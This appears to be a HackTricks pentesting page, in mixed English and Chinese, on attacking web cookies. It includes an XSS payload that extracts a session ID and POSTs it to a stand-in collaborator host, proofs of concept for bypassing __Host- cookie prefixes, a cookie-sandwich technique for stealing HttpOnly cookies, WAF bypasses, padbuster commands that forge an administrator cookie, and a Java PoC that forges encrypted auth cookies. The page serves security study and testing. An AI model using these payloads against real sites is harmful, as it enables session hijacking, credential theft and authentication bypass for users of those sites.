Cookies Hacking

Reading time: 27 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:

Expires and Max-Age

The expiry date of a cookie is determined by the Expires attribute. Conversely, the Max-age attribute defines the time in seconds until a cookie is deleted. Opt for Max-age as it reflects more modern practices.

Domain

The hosts to receive a cookie are specified by the Domain attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the Domain attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the Domain attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting Domain=mozilla.org makes cookies accessible on its subdomains like developer.mozilla.org.

Path

A specific URL path that must be present in the requested URL for the Cookie header to be sent is indicated by the Path attribute. This attribute considers the / character as a directory separator, allowing for matches in subdirectories as well.

Ordering Rules

When two cookies bear the same name, the one chosen for sending is based on:

  • The cookie matching the longest path in the requested URL.
  • The most recently set cookie if the paths are identical.

SameSite

  • The SameSite attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
  • Strict: Restricts the cookie from being sent on third-party requests.
  • Lax: Allows the cookie to be sent with GET requests initiated by third-party websites.
  • None: Permits the cookie to be sent from any third-party domain.

Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.

请求类型示例代码发送 Cookies 的情况
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notice that temporary, after applying this change, the cookies without a SameSite policy in Chrome will be treated as None during the first 2 minutes and then as Lax for top-level cross-site POST request.

HttpOnly

This avoids the client to access the cookie (Via Javascript for example: document.cookie)

绕过方式

  • 如果页面在请求的响应中将 cookies 明文返回(例如在 PHPinfo 页面),则可以利用 XSS 向该页面发送请求并从响应中 窃取 cookies(参见示例:https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)。
  • 这可以通过 TRACE HTTP 请求来绕过(如果服务器支持该 HTTP 方法),因为服务器的响应会反射所发送的 cookies。该技术称为 Cross-Site Tracking
  • 现代浏览器通过禁止从 JS 发送 TRACE 请求来避免该技术。不过,某些特定软件中发现了绕过方法,例如向 IE6.0 SP2 发送 \r\nTRACE 而不是 TRACE
  • 另一种方式是利用浏览器的 zero/day vulnerabilities。
  • 可以通过执行 Cookie Jar overflow attack 来 覆盖 HttpOnly cookies

Cookie Jar Overflow

  • 可以使用 Cookie Smuggling 攻击来外泄这些 cookies
  • 如果任何 server-side endpoint 在 HTTP response 中回显原始 session ID(例如出现在 HTML comments 或调试块中),你可以使用 XSS gadget 去请求该 endpoint,用 regex 提取 secret,并将其 exfiltrate。示例 XSS payload 模式:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

The request will only send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically HTTPS).

Cookies 前缀

Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.

For cookies prefixed with __Host-, several conditions must be met:

  • They must be set with the secure flag.
  • They must originate from a page secured by HTTPS.
  • They are forbidden from specifying a domain, preventing their transmission to subdomains.
  • The path for these cookies must be set to /.

It is important to note that cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the __Host- prefix for all application cookies can be considered a good practice for enhancing security and isolation.

Overwriting cookies

So, one of the protection of __Host- prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example Cookie Tossing attacks. In the talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) it's presented that it was possible to set __HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:

Or in PHP it was possible to add 在开头添加其他字符 of the cookie name that were going to be 被替换为下划线 characters, allowing to overwrite __HOST- cookies:

Abuse discrepancies between browser and server parsing by prepending a Unicode whitespace code point to the cookie name. The browser won’t consider the name to literally start with __Host-/__Secure-, so it allows setting from a subdomain. If the backend trims/normalizes leading Unicode whitespace on cookie keys, it will see the protected name and may overwrite the high-privilege cookie.

  • 来自可以设置父域 cookie 的子域的 PoC:
js
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
  • 典型的后端行为导致此问题:

  • 会修剪/规范化 cookie 键的框架。在 Django 中,Python 的 str.strip() 会移除大量 Unicode 空白码点,导致名称被标准化为 __Host-name

  • 常见被修剪的码点包括:U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288)。

  • 许多框架在遇到重复 cookie 名称时采用 “last wins” 策略,因此攻击者控制的标准化 cookie 值会覆盖合法的值。

  • 浏览器差异很重要:

  • Safari 会在 cookie 名称中阻止多字节 Unicode 空白(例如拒绝 U+2000),但仍允许单字节 U+0085 和 U+00A0,而许多后端会修剪这些。请在不同浏览器间交叉测试。

  • 影响:允许从低信任上下文(子域)覆盖 __Host-/__Secure- cookies,可能导致 XSS(如果被反射)、CSRF token 覆盖,以及 session fixation。

  • 传输中 vs 服务器视图示例(名称中包含 U+2000):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

许多后端会拆分/解析然后修剪,导致规范化后的 __Host-name 采用攻击者的值。

某些 Java 堆栈(例如 Tomcat/Jetty-style)在 Cookie 头以 $Version=1 开头时仍会启用遗留的 RFC 2109/2965 解析。这可能导致服务器将单个 cookie 字符串重新解释为多个逻辑 cookie,并接受一个伪造的 __Host- 条目,该条目最初是从子域或甚至不安全的来源设置的。

  • PoC forcing legacy parsing:
js
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
  • 为什么可行:

  • 客户端在 set 时会进行前缀检查,但服务器端的 legacy parsing 会在稍后拆分并规范化 header,从而绕过 __Host-/__Secure- 前缀保证的意图。

  • 适用场景:Tomcat, Jetty, Undertow,或仍然遵循 RFC 2109/2965 attributes 的框架。可与重复名称覆盖语义结合使用。

Duplicate-name(后者生效)覆盖原语

当两个 cookie 规范化后名称相同,许多后端(包括 Django)会使用最后出现的那个。在 smuggling/legacy-splitting 产生两个 __Host-* 名称后,通常由攻击者控制的那个会胜出。

检测与工具

使用 Burp Suite 探测以下情况:

  • 尝试多个前导 Unicode 空白 code points:U+2000、U+0085、U+00A0,观察 backend 是否会 trim 并将名称视为带前缀。
  • 在 Cookie header 中先发送 $Version=1,检查 backend 是否执行 legacy splitting/normalization。
  • 通过注入两个规范化后名称相同的 cookie,观察 duplicate-name 的解析(先者 vs 后者谁生效)。
  • Burp Custom Action 用于自动化: CookiePrefixBypass.bambda

提示:这些技术利用了 RFC 6265 的 octet-vs-string gap:浏览器发送 bytes;服务器解码并可能进行规范化/裁剪。解码与规范化的不一致是绕过的核心。

Cookies Attacks

如果自定义 cookie 中包含敏感数据,请务必检查(尤其是在 CTF 中),因为它可能存在漏洞。

Decoding and Manipulating Cookies

嵌入在 cookies 中的敏感数据应始终仔细审查。以 Base64 或类似格式编码的 cookies 常常可以被解码。该漏洞允许攻击者更改 cookie 的内容,并通过将修改后的数据重新编码回 cookie 来冒充其他用户。

Session Hijacking

此攻击涉及窃取用户的 cookie 以在应用中获得未授权访问。通过使用被窃取的 cookie,攻击者可以冒充合法用户。

Session Fixation

在这种场景中,攻击者诱骗受害者使用指定的 cookie 登录。如果应用在登录时不分配新的 cookie,则拥有原始 cookie 的攻击者可以冒充受害者。该技术依赖于受害者使用攻击者提供的 cookie 登录。

如果你发现了一个 XSS in a subdomain 或者你 控制某个子域名,请阅读:

Cookie Tossing

Session Donation

攻击者在此诱使受害者使用攻击者的 session cookie。受害者以为自己已登录到自己的账户,但实际上会在攻击者账户的上下文中无意执行操作。

如果你发现了一个 XSS in a subdomain 或者你 控制某个子域名,请阅读:

Cookie Tossing

JWT Cookies

点击上面的链接以访问解释 JWT 可能缺陷的页面。

JSON Web Tokens (JWT) 用在 cookies 中也可能存在漏洞。有关潜在缺陷及其利用方法的深入信息,请查看链接的 hacking JWT 文档。

Cross-Site Request Forgery (CSRF)

该攻击迫使已登录用户在其当前已认证的 web 应用上执行不想要的操作。攻击者可以利用会随对易受攻击站点的每个请求自动发送的 cookies。

Empty Cookies

(Check further details in theoriginal research) 浏览器允许创建没有名称的 cookies,可以通过 JavaScript 如下演示:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

发送的 cookie header 中的结果是 a=v1; test value; b=v2;。有趣的是,如果设置了一个空名称 cookie,这允许操纵 cookies,可能通过将该空名称 cookie 设置为特定值来控制其他 cookies:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

这会导致浏览器发送一个 cookie header,被每个 web server 解释为名为 a、值为 b 的 cookie。

Chrome Bug: Unicode Surrogate Codepoint Issue

在 Chrome 中,如果一个 Unicode surrogate codepoint 是 set cookie 的一部分,document.cookie 会损坏,随后返回一个空字符串:

js
document.cookie = "\ud800=meep"

这会导致 document.cookie 输出空字符串,表示永久性损坏。

(更多细节请参见original research) 一些 web 服务器,包括 Java (Jetty, TomCat, Undertow) 和 Python (Zope, cherrypy, web.py, aiohttp, bottle, webob),由于对 RFC2965 的过时支持而错误处理 cookie 字符串。它们会将双引号包裹的 cookie 值作为单一值读取,即使其中包含本应作为键值对分隔符的分号:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) 服务器对 cookies 的解析不正确,尤其是 Undertow、Zope,以及使用 Python 的 http.cookie.SimpleCookiehttp.cookie.BaseCookie 的实现,导致了 cookie 注入攻击的机会。这些服务器未能正确分隔新 cookie 的开始位置,使得攻击者可以伪造 cookie:

  • Undertow 在一个带引号的值后如果没有分号就期望新 cookie 立即开始。
  • Zope 寻找逗号来开始解析下一个 cookie。
  • Python 的 cookie 类在遇到空格字符时开始解析。

该漏洞在依赖基于 cookie 的 CSRF 保护的 web 应用中特别危险,因为它允许攻击者注入伪造的 CSRF-token cookie,从而可能绕过安全措施。Python 对重复 cookie 名称的处理会加剧该问题:最后出现的同名 cookie 会覆盖之前的。它还对在不安全上下文中的 __Secure-__Host- cookies 提出担忧,并且当 cookies 被传给易受伪造的后端服务器时,可能导致授权绕过。

Cookies $version

WAF Bypass

According to this blogpost, 可能利用 cookie 属性 $Version=1 根据 RFC2109 使后端使用旧的解析逻辑来解析 cookie。此外,其他值如 $Domain$Path 也可以用来通过 cookie 修改后端的行为。

According to this blogpost 可以使用 cookie sandwich 技术来窃取 HttpOnly cookies。以下是需求和步骤:

  • 找到一个表面上无用的 cookie 在响应中被反射 的位置
  • 创建一个名为 $Version 的 cookie,值为 1(可以在 XSS 攻击中通过 JS 设置),并设置一个更具体的 path 以便它获得初始位置(某些框架如 python 不需要这一步)
  • 创建被反射的 cookie,其值留下一个未闭合的双引号,并设置一个特定的 path,以便它在 cookie db 中位于之前的 $Version 之后
  • 然后,合法的 cookie 将按顺序排在其后
  • 创建一个用于关闭双引号的 dummy cookie,在其值中闭合双引号

通过这种方式,受害者的 cookie 会被困在新的 cookie version 1 中,并在每次被反射时被泄露。 e.g. from the post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

查看上一节。

Bypassing value analysis with quoted-string encoding

这种解析会对 cookie 内的转义值进行取消转义,因此 "\a" 会变成 "a"。这在绕过 WAFS 时很有用,例如:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

在 RFC2109 中指出,逗号可用作 cookie 值之间的分隔符。同样也可以在等号的前后添加 空格和制表符。因此像 $Version=1; foo=bar, abc = qux 这样的 cookie 不会生成 "foo":"bar, admin = qux",而是生成 foo":"bar""admin":"qux" 两个 cookie。注意这里生成了两个 cookie,并且 admin 在等号前后多余的空格被移除了。

不同的 backdoors 会把在不同 cookie headers 中传递的不同 cookies 拼接到同一个字符串中,例如:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

这可能允许像下面的示例那样绕过 WAF:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

基本检查

  • 每次login时,cookie相同
  • 注销并尝试使用相同的 cookie。
  • 尝试在两台设备(或浏览器)上使用相同的 cookie 登录到同一账户。
  • 检查 cookie 中是否包含任何信息并尝试修改它
  • 尝试创建多个几乎相同 username 的 accounts 并检查是否能看到相似性。
  • 检查remember me选项(如果存在)以了解其工作方式。如果存在且可能易受攻击,则始终仅使用 remember me 的 cookie,而不要使用任何其他 cookie。
  • 在更改密码后,检查之前的 cookie 是否仍然有效。

Advanced cookies attacks

如果在 log in 时 cookie 保持相同(或几乎相同),这通常意味着 cookie 与你账户的某个字段有关(很可能是 username)。然后你可以:

  • 尝试创建大量 accounts,其中 username 非常 similar,并尝试 guess 算法如何工作。
  • 尝试 bruteforce the username。如果 cookie 仅作为你 username 的认证方法保存,那么你可以创建一个 username 为 "Bmin" 的账号,并 bruteforce 你 cookie 的每一个 bit,因为你尝试的 cookie 中将有一个属于 "admin" 的。
  • 尝试 Padding Oracle(你可以解密 cookie 的内容)。使用 padbuster

Padding Oracle - Padbuster examples

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster 会进行多次尝试,并会询问你哪个条件是错误条件(即不合法的那个)。

然后它会开始 decrypting the cookie(可能需要几分钟)

如果攻击成功执行,那么你可以尝试 encrypt 一个你选择的字符串。例如,如果你想要 encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

此执行将返回一个正确加密并编码的 cookie,其中包含字符串 user=administrator

CBC-MAC

可能 cookie 含有某个值并使用 CBC 进行签名。这样,该值的完整性就是使用相同值通过 CBC 创建的签名。由于通常建议将 IV 设为 null vector,这类完整性校验可能存在漏洞。

The attack

  1. 获取用户名 administ 的签名 = t
  2. 获取用户名 rator\x00\x00\x00 XOR t 的签名 = t'
  3. 在 cookie 中设置值 administrator+t't' 将是 (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 的有效签名)

ECB

如果 cookie 使用 ECB 加密,可能存在漏洞。
当你登录时,收到的 cookie 应该始终相同。

How to detect and attack:

创建 2 个几乎相同数据(username、password、email 等)的用户,并尝试在返回的 cookie 中发现某种模式

创建一个例如用户名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,检查 cookie 中是否存在任何模式(因为 ECB 对每个块使用相同密钥加密,如果 username 被加密,相同的加密字节可能会出现)。

应该会出现一个模式(与所使用块的大小一致)。因此,知道一堆 "a" 是如何被加密的后,你可以创建一个用户名:"a"*(size of the block)+"admin"。然后,你可以从 cookie 中删除一个 "a" 块的加密模式。这样你就会得到用户名 "admin" 的 cookie。

有些应用通过对一个可预测的值(例如数值型 user ID)使用全局、硬编码的对称密钥进行加密,然后对密文进行编码(hex/base64)来生成认证 cookie。如果该密钥在产品级别(或安装级别)是静态的,任何人都可以离线伪造任意用户的 cookie,从而绕过认证。

How to test/forge

  • 确定用于认证的 cookie(例如 COOKIEID 和 ADMINCOOKIEID)。
  • 确定加密/编码方式。在一个真实案例中,应用使用了 IDEA 和一个固定的 16-byte 密钥,并以 hex 返回密文。
  • 通过加密你自己的 user ID 并与发放的 cookie 比较来验证。如果匹配,你就可以为任何目标 ID 铸造 cookie(ID 1 往往对应第一个 admin)。
  • 直接将伪造的值设置为 cookie 然后访问;不需要凭证。
Minimal Java PoC (IDEA + hex) used in the wild
java
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}
上下文(例如,server-side session 带有 random ID,或添加 anti-replay 属性)。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks